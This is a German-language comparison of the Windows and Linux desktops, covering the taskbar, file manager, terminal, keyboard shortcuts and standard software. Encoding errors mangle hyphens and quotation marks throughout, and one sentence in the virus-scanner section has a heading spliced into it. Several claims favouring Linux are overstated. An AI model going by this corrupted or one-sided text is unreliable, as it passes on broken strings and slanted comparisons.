Das offen¬≠sichtlich¬≠ste bei Win¬≠dows ist der Desk¬≠top mit Arbeit¬≠splatz, Papierko¬≠rb und ‚ÄěEigene Dateien‚Äú. Die meis¬≠ten der bekan¬≠nten Lin¬≠ux-Dis¬≠tri¬≠b¬≠u¬≠tio¬≠nen, wer¬≠den mit ein¬≠er grafis¬≠chen Benutzer¬≠schnittstelle aus¬≠geliefert, die auch das Dateisys¬≠tem, den Papierko¬≠rb und den ‚ÄěPer¬≠s√∂n¬≠lich¬≠er Ord¬≠ner‚Äú anzeigen k√∂n¬≠nen. Wobei Lin¬≠ux auch ohne grafis¬≠che Benutzer¬≠schnittstelle auskommt und das sehr gut.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.2 Taskleiste

Die Taskleiste kann bei bei¬≠den Sys¬≠te¬≠men sehr √§hn¬≠lich bedi¬≠ent wer¬≠den, mit fest¬≠set¬≠zen oder aus¬≠blenden der Taskleiste sowie Anzeigen des Haupt¬≠men√ľ¬≠knopfes und den ge√∂ffneten Anwen¬≠dun¬≠gen. In bei¬≠den Sys¬≠te¬≠men kann dort die Laut¬≠st√§rken¬≠reg¬≠ulierung vorgenom¬≠men wer¬≠den.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.3 Benachrichtigungsfeld

Win¬≠dows und die grafis¬≠chen Lin¬≠ux-Dis¬≠tri¬≠b¬≠u¬≠tio¬≠nen besitzen bei¬≠de ein Benachrich¬≠ti¬≠gungs¬≠feld auf der Task¬≠leiste das dort rechts ange¬≠ord¬≠net ist. Dort wird bei bei¬≠den zum Beispiel die Uhrzeit, das Datum, die Net¬≠zverbindun¬≠gen, die Laut¬≠st√§rk¬≠eregelun¬≠gen und aktuelle Mel¬≠dun¬≠gen, wie einge¬≠hende E-Mails oder der Wech¬≠sel der abge¬≠spiel¬≠ten Musik¬≠ti¬≠tel, angezeigt. Siehe Bild¬≠schirm¬≠fo¬≠tos zu 3.2. Ein klein¬≠er Unter¬≠schied beste¬≠ht darin, das unter Lin¬≠ux alles etwas aus¬≠f√ľhrlich¬≠er ist.


3.4 Dateimanager

Was unter Win¬≠dows der ‚ÄěExplor¬≠er‚Äú ist, hat unter Lin¬≠ux ver¬≠schieden Namen, aber in jedem Fall sind es auch Dateiman¬≠ag¬≠er mit vielf√§lti¬≠gen M√∂glichkeit¬≠en. Es wer¬≠den Verze¬≠ich¬≠nisse und Dateien dargestellt und auf Wun¬≠sch mit Vorschaubilder.
Unter Lin­ux ist alles eine Datei, auch Verze­ich­nisse und Geräte, was das Lin­ux-Sys­tem robuster macht. Aber in der Darstel­lung sind bei­de Sys­tem sehr gle­ichar­tig.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.5 Fenstersteuerung

Die Fen¬≠ster¬≠s¬≠teuerung mit den Schal¬≠tern ‚ÄěMin¬≠imieren‚Äú, ‚ÄěRel¬≠a¬≠tivieren‚Äú und ‚ÄěMax¬≠imieren‚Äú sind √§quiv¬≠a¬≠lent. Trotz¬≠dem kann auch hier Lin¬≠ux mit Mehrw¬≠ert punk¬≠ten, wie dem Ein¬≠rollen auf bis auf die Titelleiste.
Das Ver¬≠schieben der Fen¬≠ster mit fest¬≠ge¬≠hal¬≠tener Titelleiste k√∂n¬≠nen auch bei¬≠de Sys¬≠teme. Unter Lin¬≠ux kann zus√§t¬≠zlich bei nicht mehr zu sehen¬≠der Titelleiste auch mit der gedr√ľck¬≠ten ‚ÄěAlt‚Äú-Taste, f√ľr alter¬≠na¬≠tive Bedi¬≠enung, das Fen¬≠ster ver¬≠schoben wer¬≠den.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.6 Fenstermen√ľs

Win¬≠dows und Lin¬≠ux-Dis¬≠tri¬≠b¬≠u¬≠tion ken¬≠nen bei¬≠de das ‚ÄěFen¬≠ster¬≠men√ľ‚Äú. Die in bei¬≠den F√§llen oft auch mit der Tas¬≠tatur bedi¬≠ent wer¬≠den k√∂n¬≠nen. Die Bedi¬≠enung der Men√ľs √ľber die Tas¬≠tatur wer¬≠den oft √ľber die Steuerungstaste ‚ÄěSTRG‚Äú, der alter¬≠na¬≠tiv¬≠en Bedi¬≠enungstaste ‚ÄěALT‚Äú, der Druck¬≠taste ‚ÄěDRUCK‚Äú in Kom¬≠bi¬≠na¬≠tion mit anderen Tas¬≠ten genutzt. Die Funk¬≠tion¬≠stas¬≠ten wie ‚ÄěF1‚Äú f√ľr Hil¬≠fe und ‚ÄěF11‚Äú f√ľr Voll¬≠bild ste¬≠hen in bei¬≠den Sys¬≠te¬≠men lei¬≠der nicht in allen Pro¬≠gram¬≠men zur Ver¬≠f√ľ¬≠gung.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.7 Kommandozeile, auch CLI f√ľr Command Line Interface

Der Kom¬≠man¬≠dozeilen¬≠in¬≠ter¬≠preter unter Win¬≠dows ist das ‚Äěcmd‚Äú und Lin¬≠ux besitzt vielf√§ltige ‚ÄěTer¬≠mi¬≠nals‚Äú. Das ‚ÄěTer¬≠mi¬≠nal‚Äú ist ein m√§chtiges Werkzeug ist, es hat die Schlagkraft ein¬≠er Nuk¬≠lear¬≠waffe!
Mit der ‚ÄěPow¬≠er¬≠Shell‚Äú hat¬≠te Microsoft ver¬≠sucht den Unter¬≠schied zum Lin¬≠ux-Ter¬≠mi¬≠nal zu beheben.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.8 Mehrere Benutzer und Multiuser, als gleichzeitige Benutzer

Unter Win¬≠dows k√∂n¬≠nen mehrere Benutzer angelegt wer¬≠den, wobei ein Benutzer aktiviert wer¬≠den kann. Der Lin¬≠ux-Ker¬≠nel ist ein echt¬≠es Multi¬≠user-Betrieb¬≠ssys¬≠tem, also mehrere Benutzer k√∂n¬≠nen gle¬≠ichzeit¬≠ig pro¬≠duk¬≠tiv sein, daher auch der Begriff ‚ÄěTer¬≠mi¬≠nal‚Äú f√ľr CLI, den Kom¬≠man¬≠dozeilen¬≠in¬≠ter¬≠preter.


3.9 Eigene Dateien

Win¬≠dows bietet das Verze¬≠ich¬≠nis ‚ÄěEigene Dateien‚Äú zum Able¬≠gen von selb¬≠st erstell¬≠ten Verze¬≠ich¬≠nis¬≠sen und Dateien.
‚ÄĘ Desk¬≠top
‚ÄĘ Down¬≠loads
‚ÄĘ Eigene Bilder
‚ÄĘ Eigene Doku¬≠mente
‚ÄĘ Eigene Musik
‚ÄĘ Eigene Videos
‚ÄĘ Favoriten
‚ÄĘ Gespe¬≠icherte Spiele
‚ÄĘ Kon¬≠tak¬≠te
‚ÄĘ Links
‚ÄĘ Suchvorg√§nge

Unter Lin¬≠ux beste¬≠ht das exk¬≠lu¬≠sive ‚Äě/home‚Äú-Verzeichnis f√ľr jeden Benutzer, daher muss nicht mit ‚Äěeigene‚Äú beze¬≠ich¬≠net wer¬≠den, mit den schon angelegten Verze¬≠ich¬≠nis¬≠sen:
‚ÄĘ Bilder
‚ÄĘ Doku¬≠mente
‚ÄĘ Down¬≠loads
‚ÄĘ Musik
‚ÄĘ √Ėffentlich
‚ÄĘ Schreibtisch
‚ÄĘ Videos
‚ÄĘ Vor¬≠la¬≠gen
Erfahrungs­gemäß wird unter Win­dows aber wild durcheinan­der gespe­ichert, woge­gen unter Lin­ux etwas mehr Diszi­plin herrscht durch die strenge Hier­ar­chie der Rechtev­er­wal­tung.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.10 Taskmanager

Die Kon¬≠trolle √ľber laufende Anwen¬≠dun¬≠gen, Dien¬≠ste, CPU-Aus¬≠las¬≠tung und Net¬≠zw¬≠erk-Aus¬≠las¬≠tung, besitzen Win¬≠dows genau¬≠so wie Lin¬≠ux.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.11 Kontextmen√ľ

Bei¬≠de Sys¬≠tem ken¬≠nen das Kon¬≠textmen√ľ, rechte Maus auf das Objekt mit auf das Objekt bezo¬≠ge¬≠nen Befehlen, zur Erh√∂hung der Pro¬≠duk¬≠tiv¬≠it√§t. Auf der Tas¬≠tatur gibt es neben der recht¬≠en STRG-Taste, die Steuerungs-Taste, auch eine Kon¬≠textmen√ľ-Taste die bei¬≠de Sys¬≠teme erken¬≠nen.
Men√ľ-Taste

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


3.12 Tastaturbefehle

Win¬≠dows beherrscht nur wenige Tas¬≠taturbe¬≠fehle, kann aber mit Fremd¬≠pro¬≠gram¬≠men aufgew¬≠ertete wer¬≠den. Lin¬≠ux kann mit sehr vie¬≠len Tas¬≠taturbe¬≠fehlen umge¬≠hen und sehr schnelle sowie sehr umfan¬≠gre¬≠iche T√§tigkeit¬≠en aus¬≠f√ľhren.
Bekan­nte Tas­tenkom­bi­na­tio­nen in bei­den Sys­te­men:
‚ÄĘ STRG + c, Kopieren
‚ÄĘ STRG + x, Auss¬≠chnei¬≠den
‚ÄĘ STRG + v, Ein¬≠f√ľ¬≠gen
‚ÄĘ ALT + F4, Fen¬≠ster schlie√üen
‚ÄĘ Druck, Bild¬≠schirm¬≠fo¬≠to des gesamten Desk¬≠top
‚ÄĘ ALT + Druck, Bild¬≠schirm¬≠fo¬≠to des aktiv¬≠en Fen¬≠sters
‚ÄĘ Kon¬≠textmen√ľ-Taste, aufrufen des Kon¬≠textmen√ľs zum aus¬≠gew√§hltem Objekt
‚ÄĘ und weit¬≠ere.


3.13 Systemsteuerung / Einstellungen

Auch die Zen¬≠trale f√ľr die Com¬≠put¬≠er¬≠s¬≠teuerung und Com¬≠put¬≠ere¬≠in¬≠stel¬≠lun¬≠gen ist in bei¬≠den Sys¬≠tem sehr √§hn¬≠lich.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


4 Software


4.1 Editor

Bei­de Sys­teme liefern einen Texte­d­i­tor mit. Unter Lin­ux beherrschen Edi­toren aber eine wesentliche größere Band­bre­ite von Edi­ti­er- und Syn­tax-Möglichkeit­en.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


4.2 Standardprogramme der Betriebssysteme

Zu den stan¬≠dard¬≠m√§√üi¬≠gen Pro¬≠gram¬≠men in bei¬≠den Sys¬≠te¬≠men geh√∂rt neben den schon erw√§h¬≠n¬≠ten Edi¬≠tor und den Kom¬≠man¬≠dozeilen¬≠in¬≠ter¬≠preter auch der soge¬≠nan¬≠nte ‚ÄěTaschen¬≠rech¬≠n¬≠er‚Äú.

Das obere Bild von Win­dows und das untere Bild von Lin­ux.


4.3 Bekannte Anwendungsprogramme

Fol­gende Pro­gramme die unter Win­dows eine weite Ver­bre­itung besitzen, sind bei Lin­ux oft vorin­stal­liert:
‚ÄĘ Fire¬≠fox, der Web¬≠brows¬≠er
‚ÄĘ Thun¬≠der¬≠bird, der E-Mail-Client,
‚ÄĘ Libre¬≠Of¬≠fice, die Office-Suite,
‚ÄĘ VLC-Play¬≠er, der Medi¬≠aplay¬≠er und
‚ÄĘ Gimp, das Foto- und Bild¬≠bear¬≠beitung¬≠spro¬≠gramm.
Weit­ere Pro­gramme die unter Win­dows genutzt wer­den und unter Lin­ux nativ arbeit­en, sind:
‚ÄĘ 7Zip, das uni¬≠verselle Kom¬≠prim¬≠ierung¬≠spro¬≠gramm
‚ÄĘ Bleach¬≠bit, das Bere¬≠ini¬≠gung¬≠spro¬≠gramm
‚ÄĘ Filezil¬≠la, das FTP-Pro¬≠gramm und
‚ÄĘ Inkscape, das grafis¬≠che Vek¬≠toren¬≠pro¬≠gramm.
Weit­ere ähn­liche Pro­gramme sind:
‚ÄĘ ver¬≠schiedene kleine Spiele wie Solit√§r oder Mahjongg
‚ÄĘ PDF-Betra¬≠chter,
‚ÄĘ Bild-Betra¬≠chter,
‚ÄĘ CD- und DVD-Bren¬≠npro¬≠gramm,
‚ÄĘ Scan¬≠ner-Pro¬≠gramm,
‚ÄĘ Mes¬≠sen¬≠ger und
‚ÄĘ Tor¬≠rent-Pro¬≠gramm und weit¬≠ere 70.000 Pro¬≠gramme.

4.4 Virenscanner

Unter Lin¬≠ux kaBekan¬≠nte Anwen¬≠dung¬≠spro¬≠gram¬≠menn nachtr√§glich ein Viren¬≠scan¬≠ner, ‚ÄěCla¬≠mAV‚Äú, mit der grafis¬≠chen Schnittstelle ‚ÄěClamTK‚Äú instal¬≠liert wer¬≠den, um Win¬≠dows-Anwen¬≠der zu sch√ľtzen, zum Beispiel bei Ret¬≠tungsak¬≠tio¬≠nen und E-Mail-Anh√§n¬≠gen.


5 Nachtrag


5.1 Bilder

Die Bild­schirm­fo­tos wur­den alle von mir selb­st erstellt und kön­nen aus dem Doku­ment ent­nom­men wer­den. Die Vek­toren­ze­ich­nun­gen wur­den von mir selb­st erstellt, außer dem Tux.
Der Tux ist von hier https://commons.wikimedia.org/wiki/File:Tux.svg.